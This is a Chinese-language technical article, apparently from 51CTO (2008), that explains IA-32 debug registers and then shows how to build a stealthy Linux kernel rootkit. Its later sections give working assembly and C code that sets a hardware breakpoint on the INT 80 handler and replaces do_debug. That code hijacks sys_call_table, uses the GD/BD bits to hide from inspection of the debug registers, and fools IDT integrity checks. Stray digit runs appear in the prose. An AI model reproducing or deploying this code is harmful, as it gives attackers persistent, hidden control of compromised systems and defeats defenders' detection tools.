基于处理器调试机制的Rootkit隐形技术

  • 来源: 51CTO.com 作者: xuqingzhong   2008-11-11/14:42
  •  

     

     

        本文将向读者介绍一种通过处理器的调试机制来实现Rootkit的隐形的技术。这种技术的特点是,无需利用系统的缺陷,直接处理器的正常功能就能达到隐形的目的。本文将以Linux系统为例来介绍如何实现基于调试寄存器的隐形方法。

    一、概述

        几年来,用于在攻陷的机器上实现隐形技术和方法越来越多,让人目不暇接。其中,有一些直接篡改系统调用表,有一些修改中断处理程序,凡此种种,在此不再一一列举。不过,这些方法的共同之处在于,都以可见的形式修改了底层的操作系统,这使得它们很容易被发现。
    本文中,笔者利用调试机制这一x86平台的共同特性,用内核级Rootkit实现了终极的隐形。虽然该方法通用于所有IA-32兼容平台,但我们这里以Linux操作系统为例,讲解如何在不碰钩子技术的各种“传统”目标(如系统调用表、中断处理程序等)的情况下拦截正常执行流程的技术。 实际上,这种隐形技术是如此高超,以至于还没有人发现我们的存在。

        在本文中,当我们说“调试器”时,实际上指的是只能从ring 0访问的IA-32的调试机制,对于用户空间的调试程序来说,是无法利用这个机制的,只有某些内核调试工具才能使用这个机制。

    二、处理器的调试机制

        为了让开发人员过得更轻松些,Intel公司引入了一个机制来处理调试过程。按照Intel公司的用户手册的说法,“IA-32架构提供了大量的调试设施,供调试代码、监视代码执行和处理器性能之用。这些设施对调试应用程序软件、系统软件和多任务操作系统都是非常重要的 ”。开发人员可以通过一组专用寄存器(称为调试寄存器,从DR0至DR7)来使用该机制,这样他们就可以根据内存地址来设置硬件断点了。一旦执行流到达带有断点标记的地址,控制权就会交给调试中断处理程序(INT 1),该处理程序继而调用do_debug()函数(定义在/i386/kernel/traps.c文件中)来处理引起异常的实际情况。

        可以通过调试寄存器(DB0~DB7)和两个与模式特定的寄存器(MSR)来访问这种调试支持。对本文而言,我们只需关心调试寄存器就行了。这些寄存器存放的是内存地址和I/O位置,我们将其称之为断点。断点既可以是用户在程序中选定的位置(指令断点),也可以是内存中的数据存储区(数据断点),还可以是指定的I/O端口(I/O断点),程序员或者系统设计人员通常希望程序在这些指定的地方停下来,以便调用调试软件来检查处理器的状态。

        当内存或I/O设备访问某个断点地址时,就会引起一个调试异常(#DB)。我们可以进一步为断点规定引起中断的具体的内存访问方式或者I/O访问方式,例如一个内存读和/或写操作或者I/O读和/或写操作(即以规定之外的方式访问该断点时不会引起中断)。调试寄存器同时支持指令断点和数据断点。MSR是从P6系列处理器开始引入IA-32架构的,它用于监视分支、中断和异常,并记录下最后分支、中断或者异常所使用的源地址和目的地址,以及最后中断或者异常之前发生的分支的源地址和目的地址。

    三、调试寄存器

        Intel 处理器提供了8个调试寄存器,来控制处理器的调试活动。我们不仅可以使用MOV 指令从这些寄存器中读取数据,还可以向这些寄存器中写入数据。调试寄存器既可以作为这些指令的源操作数,也可以用于这些指令的目的操作数,不过,因为调试寄存器是些特权资源,所以只有当MOV 指令在实地址模式、SMM或者CPL为0的保护模式中运行时才能访问这些寄存器;当从任何其他特权级中试图读或者写调试寄存器时,都将引起一个通用保护异常。

        调试寄存器的主要作用是设置并监视1到4个断点,编号为从0到3。该调试机制使我们可以通过两个专用寄存器DR6和DR7来管理各断点,对于这两个寄存器将在后面详细介绍。对于每个断点,可以使用这两个调试寄存器来指定和/或检测下列信息:

    断点所在的线性地址(将在哪个线性地址上发生断点,即用DRn指出要监视的内存起始地址)


    断点位置的长度(1、2、3或4字节)(即用LENn字段指出要监视的内存区域长度)


    必须对该地址引起的调试异常所执行的操作


    该断点是否启用


    调试异常发生时,是否提供断点条件

    下面我们对各个寄存器安装功能分别加以详细介绍。

    调试地址寄存器

    每个调试地址寄存器(DR0-DR3)保存一个断点的32位线性地址。断点的比较是在物理地址转换之前进行的。

    调试寄存器DR4和DR5

        启用调试扩展时(控制寄存器的DE标志位被置为1,即CR4.DE=1),调试寄存器DR4和DR5被预留,因此,如果试图引用这两个寄存器,将引起无效操作码异常。DE标志位为0时,这些寄存器作为DR6和DR7的别名。
    调试状态寄存器(DR6)

    这个专用寄存器用来报告最近一次调试异常发生时的调试条件(当断点发生时,向调试器报告该断点的具体情况,以便调试器区分发生的是哪个断点。),在这个寄存器中的标志可以给出下列信息:

    B0~B3(位0至位3)指示检测到的断点条件


    BD(位13)指示指令流中的下一个指令将访问一个调试寄存器(DR0~DR7)


    BS(位14)指示(当设置时)调试异常是由单步执行模式(EFLAGS.TF=1)触发的


    BT (位15)指示(当设置时)这是由于任务切换时目标任务的TSS中的调试陷阱标志位被置1所导致的调试异常

    看官请注意,处理器从不清空DR6寄存器的内容,为什么?呵呵,这是软件的工作。

    调试控制寄存器(DR7)

    调试控制寄存器(DR7)启用或者禁用断点,并设置断点条件。它的标志位和字段控制下列事项:

    L0~L3(位0、2、4、6)启用(当设置时)与当前任务相关断点的断点条件

    G0~G3 (位1、3、5、7启用(当设置时)所有任务相关断点的断点条件

    LE 和GE (位8和9)导致处理器去精确地检测那个引起数据断点条件的指令。在P6系列处理器中,这两个标志不被支持

    GD (位13)启用(当设置时)调试寄存器的保护,会在任何MOV 指令访问调试寄存器之前产生一个调试异常

    R/W0~R/W3 (位16、17、20、21、24、25、28和29)为相应的断点规定断点条件。要了解更多信息请阅读英特尔手册

    LEN0~LEN3(位18、19、22、23、26、27、30和31)分别对应DR0~DR3四个调试地址寄存器,用来指定要监控的访问长度

    四、隐身法

        很好,如今我们已基本了解了IA-32调试机制的所有方面。但读者会问:到底该如何隐身呢?目前,我们了解了一些重要的事情:我们可以在一个内存地址上设置一个断点,执行流一旦到达该断点,控制权马上会被重定向到调试处理程序(INT 1)。想想看,如果用我们自己的调试处理程序或者底层函数替换现有调试处理程序或者底层函数,结果会怎么样? 如下所示:

    ENTRY(debug)
    pushl $0
    pushl $ SYMBOL_NAME(do_debug)
    jmp error_code

        可以看到,实际的调试处理程序是C函数do_debug(),它定义在traps.c文件中。是的,我想我们能给INT 1处理程序打补丁,并且由我们自己来调用do_debug(),或者我们可以拿出我们自己do_debug()并且等待调试处理程序调用它,这样我们就能确保IDT毫发无损了。但是我们的处理程序应该处理什么?当然,大部分情况下我们需要检查一些参数,然后将控制权传回操作系统实际的do_debug()。但是我们应该监视哪些参数呢?

    五、劫持sys_call_table[]

        现在应该考虑如何利用onunnt读/写/执行已做标记的内存地址来劫持系统调用表了。至于地址,既可以是INT 80处理程序的地址,也可以是系统调用表的地址,它们的最终效果是一样的。这样一来,每当操作系统查找syscall时,控制权就会传给我们的处理程序。这时,我们有两个选择:要么直接在IDT中劫持INT 80处理程序,或者在内存中劫持sys_call_table[]的有效地址。这两种方法都能达到我们的目的,所以我们这里选择A。我们可以用以下函数来返回INT 80处理程序的地址。

    get_idt_entry:
     sidt    idtr
    movl    idtr+2, %ebx
     leal    (%ebx, %eax, 8), %ebx
    movw    (%ebx), %cx
    roll    $16, %ecx
    movw    0x6(%ebx), %cx
    roll    $16, %ecx
    movl    %ecx, %eax
     ret

    只要知道了这个地址,我们就可以设置断点了,如下所示:

    set_bpm:
     movl    $0x80, %eax
    call    get_idt_entry
     movl    %eax, %dr0
    xorl    %eax, %eax
     orl     $0x2080, %eax
    movl    %eax, %dr7
     ret

        如您所见,set_bpm()函数将INT 80所在的内存地址装入DR0,并且还在DR7中设置相应的标志,包括神奇的GD位,它使我们可以监视谁在访问调试寄存器以及为什么访问调试寄存器。这个位对于我们来说非常重要,因为它“于任何访问调试寄存器的MOV指令执行之前产生一个调试异常”。这意味着什么?很明显,如果有人试图读/写调试寄存器,控制权会在该指令执行之前被传递给我们的处理程序。这样,我们就能够知道是否有人打算检查调试寄存器,实际上在他们下手之前就知道了。这使我们有足够的时间来隐藏行踪:我们可以让一切恢复原状,然后等待一段时间,让危险过去后,我们可以简单地跳过影响调试寄存器指令,等等。最好向系统表明调试寄存器是清白的,并且在稍等片刻之后,重新钩住所的东西——这是最适合我们的。

    六、处理程序

        目前,我们不需要在系统调用表或者INT 80处理程序上打任何补丁就可以操纵执行流的重定向,但是,我们的处理程序将要处理什么呢?作为最简单的启动程序,我们的处理程序需要检查%eax 寄存器的值,因为它包含我们想要的syscall号,并让操作系统使用我们提供的syscall。下面是一个简单的处理程序:4444444444444444444444

    asmlinkage void new_do_debug(struct pt_regs * regs, long error_code)
    {

     unsigned long condition;
    unsigned long mask = 0x2008;


    __asm__ __volatile__("movl %%db6,%0" : "=r" (condition));

     if (condition & BD_FLAG) { /* someone is r/w the registers */
    condition &= ~BD_FLAG;
    __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
    regs->eip += 3;
    __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
    }

    if (condition & DR_TRAP0) {
    if (regs->eax == __NR_time)
    sys_call_table[__NR_time] = hacked_time;

    if (regs->eflags & VM_MASK) {
    (*old_do_debug)(regs,error_code);
    __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
    }

    condition &= ~DR_TRAP0;
    __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
    __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
    regs->eflags |= X86_EFLAGS_RF;
    }
    else
    {
    (*old_do_debug)(regs, error_code);
    __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
    }

    return;
    }

        在这里,我们应该做些什么?首先,我们捕获状态寄存器(DR6)的值,并设法弄清什么触发了我们的处理程序。如果触发该处理程序的是我们所放置的断点的话,那么我们就要对%eax 寄存器的值跟决定去劫持的syscall(本例为sys_time())的值进行比较。在本例中,为了节约空间与时间,我们直接修改了sys_call_table[],不过不用担心,因为hacked_time()一运行就会将sys_call_table[]改回原样:55555555555555555555555

    asmlinkage long hacked_time(int *tloc)
    {
    sys_call_table[__NR_time] = original_time;
    printk("<1>WE changed it!!\n");
    return original_time(tloc);
    }

        当然,为此还有别的方法也根本不需要碰系统调用表,但是考虑到hacked_time()要做的第一件事是把sys_call_table[]的值改回原样,这意味着实际的改变只出现不到一微秒,所以这不会是个问题。

        现在我们已经知道了如何在一个内存地址上设置断点,如何启用断点;此外,我们也获悉,在既不需要篡改INT 80处理程序,也无需篡改系统调用表处理程序或系统调用表本身的情况下,我们照样可以劫持正常的执行流程。这的确是一种有趣的技术,多少有一点像魔术。 但是,我们还是修改了INT 1处理程序,或者至少给do_debug()函数打了补丁,所以我们的活动还不够隐秘。


    七、神奇的障眼法

        至此,我们目睹了那么多的美妙技术:我们控制了系统,但是谁也检测不到对内核的直接篡改。借助于GD/BD位,我们得以拂去自己的踪迹:如果某人想要查看调试寄存器的话,我们也能够轻而易举地应付他们的好奇(regs->eip +=3)。但是,如果有人要检查整个IDT的完整性,该怎么办呢?或者,如果调试器或者类似的工具需要将自己处理程序放在INT 1上,结果又会这样?那么,我们的处理程序会丢失么?别着急,我们可以再次向DR6和DR7求救。我们需要做的,如下所示:

    在INT 1上设置你的处理程序

    设置断点来监视INT 80地址

    另外设置一个断点(辅助断点)来监视我们的处理程序的地址

    但它不可能就这么简单,是的,的确如此!这样的话,在我们的对手看来,我们根本就没有损坏内核。我们早已解释了劫持INT 80需要做什么,如今让我们讨论一下INT 1。通过在INT 1或者do_debug()函数中放置一个辅助断点,就可以确保当有人企图读内核内存中我们唯一修改过的位置时,我们可以事先知道。最好是将那个地址返回到原地址。如此以来,当一些险恶的工具企图在IDT中检查我们的存在时,我们让它们看的是未触动过的值。这的确是一种“深度隐藏”方式。

    但是,我们会失去对内核的控制吗?还好这不是真的,因为控制权仍在我们手中:我们可以在几纳秒之后“重新安装”我们的rootkit,所以他们每次检查我们时,他们总是看不到我们,就像给他们施了障眼法一样。 当对付一个试图将自己的钩子放进INT 1处理程序中的调试器(或者类似的工具)时,这种技术也是很有帮助的。设想一下:我们检测到这种企图,让一切恢复正常,调试器放置钩子,我们劫持他们的钩子作为一个正常INT 1劫持,一旦他们检查他们的存在,例如通过检查处理程序的存在,我们让它们看他们自己。

    八、结束语

    本文介绍了一种利用处理器的调试机制实现Rootkit的隐形的方法。它的美妙之处在于它实际上是IA-32处理器的一项基本功能,而不是什么漏洞什么的。就像您所看到的,这是一种威力强大的技术,能够在目标系统上达到完全隐形的目的。因为调试支持是处理器的一种基本功能,所以本文讨论的技术能够用于运行在IA-32机器上的论任何操作系统,所以它具有很好的通用性。

     


    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多